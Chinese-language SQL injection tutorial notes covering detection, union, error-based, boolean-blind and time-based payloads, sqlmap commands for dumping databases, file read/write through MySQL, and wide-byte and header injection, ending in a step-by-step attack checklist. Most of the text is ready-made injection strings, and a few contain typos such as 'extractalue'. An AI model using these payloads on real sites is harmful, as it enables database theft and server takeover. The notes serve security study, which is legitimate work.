一、介绍
SQL注入漏洞在owasp top 10中排名第一,是常见的web安全漏洞,攻击者利用漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。该漏洞是由于:1.程序员在编程时处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句。2.未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。
注入点可能的位置:GET数据、POST数据、HTTP头部(referer、User-agent等)(HTTP请求报文其他字段)、cookie数据。最常用的是get、post、cookie,简称:GPC。
危害:1.可获取后台管理员密码。2.脱库:脱取数据库内容。3.修改数据库内容。4.有可能直接获取webshell(一句话木马)或者服务器系统权限。
漏洞分类
数字型:注入点是数字,数字两边没有单引号、双引号。语句中不要加单引号。
字符型:注入点是字符,有单引号、双引号、括号。语句中需要加上单引号,闭合前面。
XX型:username=('xx') or 1=1; 另外多加括号。
注入手法分类
1.联合查询(正常注入:能看到数据库回显,正确或者错误信息)
2.报错注入(正常注入:能看到数据库回显)
3.布尔盲注(看不到回显,看到的是页面状态)
4.基于时间延迟注入(属于盲注类型,看不到回显,看到的是页面状态)
5.多语句查询注入(堆叠查询;同时执行多条语句。主要针对增、删、改;以上四种是基于查)
二、注释
MYSQL数据库的注释有以下几种:
1. #
2. -- 杠杠空格
3. /*.....*/
4. /*!.....*/ 内联查询
元数据(库名、表明、字段名)数据库: information_schema
三、注入点的判断(存在以下任意一点情况,表示存在sql注入漏洞)
搜索栏内:
?d=35 +1/-1 判断与数据库是否有交互;有的话考虑联合查询
?d=35 ' 判断注入类型;字符型、数字型:如果报错中出现35,是字符型注入;
如果报错中没有35,只有',是字符型;有报错考虑报错注入。
?d=35 and 1=1 测试页面是否有布尔类型状态:如果两次相同表示没有布尔类型状态。
?d=35 and 1=2 如果两次不同,表示有布尔类型状态,考虑布尔盲注。
?d=35 and sleep(4) 是否有延时;考虑延时注入(绝招)。
四、联合查询
由于数据库中的内容会回显到页面中来,所以可以用联合查询进行注入。
语句:select XX union select XX
由于虚拟表是二维结构,联合查询会“纵向”拼接两张虚拟的表。
必要条件:1.两张虚拟的表具有相同的列数。2.虚拟表对应的列的数据类型(int、str、...)相同。
用order by(排序)判断有多少列
联合语句,例有15列:?d=34 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
如果前一条语句为假,则显示后一条语句的内容。加-即可变为假。
?d=-34 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
根据回显的内容,存在注入漏洞,把3与11数据库做相应的替换。
?d=-34 union select 1,2,version(),4,5,6,7,8,9,10,database(),12,13,14,15
此时出现数据库名与版本信息。
进一步
联合查询可以实现跨库、跨表查询。
?d=-34 union select 1,2,version(),4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database()
出现所有表名
取出密码存放的表
查出其中出现所有字段
直到找出后台密码。
五、报错注入
在注入点的判断过程中,发现数据库的SQL语句报错信息会显示在页面中,因此可以进行报错注入。
原理:在错误信息中执行SQL语句。
类型:(建议直接背公式)
1.group by (分类聚合)
[?id=33 and (select 1 from (select count(*),concat(select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]
2.XPATH 报错
extractalue()
[?id=33 and extractalue(1,concat('^',(select version()),'^')) --+]
updatexml
[?id=33 and updatexml(1,concat('^',(select datebase()),'^'),1) --+]
注:--+表示注释掉后面的sql语句(在URL中用--+,在Http包中用#)。
六、布尔盲注
and 1=1,and 1=2 判断是否有布尔状态,有的话用布尔盲注。
1.首先判断数据库名字长度 and length(database()) > < =数值
2.一个一个字母尝试,先取第一个字母: ascii(substr (database(),1,1))= ascii码值
七、延时注入
原理:利用sleep()语句的延时性,以时间线作为判断条件。
判断:and sleep(5)
举例:if(1,2,3)判断;1为条件,真执行第二项,假执行第三项。
and if (length(database()=3),sleep(5),1)
数据库名字长度如果等于3,那么沉睡5秒,否则返回1;
八、sqlmap工具(kali自带)
(一)参数
-u "URL" 检测注入点
--dbs 列出所有数据库的名字
--current-db 列出当前数据库的名字
-D 指定一个数据库
--tables 列出表名
-T 指定表名
--columns 列出所有的字段名
-C 指定字段
--dump 列出字段内容
(二)post注入
1.打开后台页面,用BP抓包,显示post数据。
2.在kali下vim post.txt,将post完整数据复制进来。
3.执行sqlmap -r post.txt
九、其他注入手法
(一)对服务器文件进行读写操作
(1)前提
1.secure-file-priv= 不对mysqld的导入导出(读写文件)操作做限制
secure-file-priv='c:/a/' 限制mysqld的导入导出操作发生在c:/a/下(子目录有效)
secure-file-priv=null 限制mysqld 不允许导入导出操作
2.当前用户具有文件权限
3.知道要写入文件的绝对路径
(2)读取文件操作(直接读取文件内容)
load_file('绝对路径')
(3)写入文件操作(将要查询内容写入文件)
into outfile '绝对路径'
(二)宽字节注入
准确来说,不是一种注入手法,而是一种比较特殊情况。
比如'单引号被转义掉,要让转义失效,则在前边加%df变为%df'
原因:%df也可以是%af...GBK是汉字编码系统,每个汉字两个字节,df属于GBK编码范围,
\(转义符)的编码是5c,也在GBK编码范围内;我们可以在单引号之前提交一个十六进制的字符,与5c组成一个GBK编码的汉字,这样sql语句传入数据库的时候,转义字符5c,会被看做GBK汉字的低位字节编码,从而失去转义作用。
0xdf5c表示汉字“運”。最终目的是排除转义字符\的影响,让'不被转义掉。
(三)cookie注入
cookie注入的注入参数需要通过cookie提交。
用BP抓包,修改cookie内容。
(四)base64注入
base64是一种编码方法。一般是在cookie信息中用base64编码替换。
(五)Http头部注入
指注入字段在HTTP头部字段中,这些字段通常有Referer、User-Agent等。
十、自动化注入
全自动化工具:sqlmap、穿山甲、明小子、定制化脚本
半自动化工具:Burpsuite
十一、步骤总结
回显:针对?id=
报错针对加'或者"或者),即?id=2'
布尔状态针对 and 1=1 and 1=2的变化。
1.先用?id=1,?id=2 看页面是否有变化,有变化用联合查询。
2.加上' ?id=2' 查看报错信息,如果2显示在信息中,表示是字符型,除我们自己输入的2'本身之外,后面的信息即为闭合信息,如图为');不显示是数字型,不需要闭合符号;
3.构造语句 ?id=2') and 1=2 union select 1,2,version() --+
')闭合掉前边的,--+注释掉后边的;中间加联合查询语句, and 1=2 把前面语句变为假,就能显示出union后面的内容;union select 1,2,version() 知道3个字段,3可以替换。
4.如果添加单引号没反应,则添加双引号" ?id=2"
5.假如没有回显,添加'或者"有报错,用报错型注入。 报错为字符型,闭合符号为'
?id=2' and updatexml(1,concat(0x5e,version(),0x5e),1) --+
6.特殊情况 若没有回显,没有报错
试试?id=2')) 闭合方式:XX型
用联合查询语句
7.普通情况 没有回显,没有报错,有布尔类型状态。
布尔盲注。
8.没有回显,没有报错,没有布尔型状态。
绝招 延时注入sleep